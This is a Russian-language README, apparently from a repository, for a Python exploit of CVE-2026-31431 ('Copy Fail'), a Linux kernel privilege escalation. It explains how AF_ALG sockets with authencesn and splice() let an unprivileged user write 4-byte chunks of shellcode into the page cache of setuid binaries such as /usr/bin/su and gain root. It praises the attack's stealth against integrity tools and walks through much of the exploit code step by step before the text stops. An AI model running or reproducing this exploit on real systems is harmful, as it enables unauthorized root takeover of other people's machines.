
Эксплойт на Python для CVE-2026-31431 — повышение привилегий в ядре Linux через повреждение page cache у setuid-бинарников, позволяющее получить root-доступ.
Copy Fail (CVE-2026-31431) — это критическая логическая ошибка в криптографической подсистеме ядра Linux, которая позволяет непривилегированным пользователям получить повышение привилегий до root. Уязвимость затрагивает ядра Linux версий 6.0.0 — 6.18.x во всех основных дистрибутивах.
Этот репозиторий содержит реальный эксплойт, который вызывает уязвимость путём повреждения страничного кэша setuid-бинарников и выполнения произвольного кода с привилегиями root.
Copy Fail — это логическая ошибка, которая позволяет непривилегированным пользователям записывать произвольные 4-байтовые фрагменты непосредственно в страничный кэш ядра любого читаемого файла в системе, включая setuid-бинарники.
Ключевые характеристики:
Уязвимость проистекает из оптимизации 2017 года в algif_aead.c (коммит 72548b093ee3), которая изменила операции AEAD с внешних (out-of-place) на внутренние (in-place):
До (безопасно — 2015):
TX Scatterlist (вход) ← TX буфер (данные пользователя из файла)
RX Scatterlist (выход) ← RX буфер (область вывода пользователя)
Раздельные scatterlist = страницы страничного кэша доступны только для чтения
После (уязвимо — 2017):
Объединённый Scatterlist:
[ RX буфер ] [ Страницы страничного кэша, связанные через sg_chain() ]
↑ ↑
req->src = src req->dst = dst (ОДИН И ТОТ ЖЕ scatterlist)
Страницы страничного кэша теперь находятся в ЗАПИСЫВАЕМОМ scatterlist!
Объединённый scatterlist выглядит так:
[AAD + Шифротекст из RX буфера] || [Тег из страничного кэша /usr/bin/su]
↑
Граница
(authencesn записывает ЗА эту точку)
Алгоритм authencesn — это обёртка AEAD, используемая IPsec для расширенных порядковых номеров (ESN). Он выполняет вычисление HMAC, но ему необходимо переупорядочить байты внутри AAD (аутентифицированных сопутствующих данных).
В коде ядра (crypto/authenc.c) при расшифровке:
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // чтение байтов AAD 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // временно: перезапись dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1); // ← КЛЮЧЕВАЯ СТРОКА
// запись 4 байтов в dst[assoclen+cryptlen]
Проблема: третья запись происходит по смещению assoclen + cryptlen. В уязвимом внутреннем (in-place) пути:
Ядро рассматривает эту позицию как «расходуемое scratch-пространство» и записывает туда значение навсегда. Исходные байты в этой позиции страничного кэша теряются безвозвратно.
1. Атакующий открывает AF_ALG сокет → привязывает к authencesn(hmac(sha256),cbc(aes))
(Привилегии не требуются; AF_ALG доступен непривилегированным пользователям по умолчанию)
2. Атакующий открывает целевой файл: /usr/bin/su (setuid-root бинарник)
3. Атакующий использует splice() для доставки страниц страничного кэша /usr/bin/su
в AF_ALG сокет в качестве «шифротекста» и «тега»
4. Атакующий отправляет sendmsg() с AAD, содержащим:
- Байты 0-3: заполнение
- Байты 4-7: seqno_lo = 4-байтовое значение для записи (контролируется атакующим)
- Байты 8+: заполнение
5. Атакующий вызывает recvmsg(), который запускает операцию расшифровки AEAD
Внутри расшифровки authencesn в пространстве ядра:
a) Ядро читает байты AAD 0-7
b) Ядро записывает seqno_hi в dst[4..7] (временно, затем восстанавливает)
c) Ядро записывает seqno_lo в dst[assoclen + cryptlen]
↓
ЭТА ЗАПИСЬ ПЕРЕСЕКАЕТ ГРАНИЦУ ИЗ БУФЕРА ПОЛЬЗОВАТЕЛЯ В СТРАНИЦЫ СТРАНИЧНОГО КЭША
↓
4-байтовая запись в страничный кэш /usr/bin/su происходит ЗДЕСЬ
d) Ядро вычисляет HMAC (проверка не проходит — шифротекст сфабрикован)
e) recvmsg() возвращает ошибку
НО: 4-байтовая запись УЖЕ СОХРАНЯЕТСЯ в страничном кэше
6. Атакующий повторяет шаги 2-5 для каждого 4-байтового фрагмента шеллкода
7. Атакующий выполняет /usr/bin/su
- Ядро загружает бинарник из СТРАНИЧНОГО КЭША (который теперь содержит шеллкод)
- Бинарник является setuid-root
- Шеллкод выполняется с UID=0
- Атакующий получает доступ root
| Аспект | Объяснение |
|---|---|
| Без сбоев | Операция завершается с точки зрения ядра |
| Детерминированность | Нет гонок; синхронно и надёжно |
| Постоянство | Повреждение страничного кэша сохраняется даже после ошибки recvmsg() |
| Невидимость | Файл на диске не тронут; стандартные инструменты целостности ничего не обнаруживают |
| Универсальность | Один и тот же код работает во всех дистрибутивах; не требуются смещения для каждого дистрибутива |
| Переносимость | Работает на архитектурах x86-64 и ARM64 |
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0) # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0] # Сокет запроса для операций AEAD
Создайте AF_ALG сокет, привязанный к шаблону AEAD authencesn.
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
Откройте setuid-бинарник, который будет повреждён. Подходит любой читаемый файл, но setuid-бинарники выбираются для повышения привилегий.
pipe_rd, pipe_wr = os.pipe()
Создайте канал, который будет действовать как посредник для операций splice(). Буферы канала будут содержать ссылки на страницы страничного кэша.
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)
Используйте splice() для передачи cryptlen байтов из /usr/bin/su, начиная с write_offset, в канал.
Почему это важно: splice() передаёт данные между файловыми дескрипторами без копирования. Он передаёт прямые ссылки на страницы страничного кэша ядра. Эти страницы остаются во внутренней буферной структуре канала.
assoclen = 8 # Длина AAD: байты 0-7
cryptlen = 32 # Длина шифротекста (== вывод HMAC-SHA256)
authsize = 32 # Длина тега
write_offset = 0x2000 # Смещение в /usr/bin/su для записи
aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)
AAD (аутентифицированные сопутствующие данные) содержит:
Алгоритм authencesn будет использовать байты 4-7 этого AAD в своей scratch-записи.
req_sock.sendmsg([aad], [], socket.MSG_MORE)
Отправьте AAD в AF_ALG сокет. Флаг MSG_MORE указывает, что шифротекст/тег последуют далее.
os.splice(pipe_rd, req_sock.fileno(), cryptlen)
Передайте страницы страничного кэша из канала в AF_ALG сокет. Теперь scatterlist ядра содержит: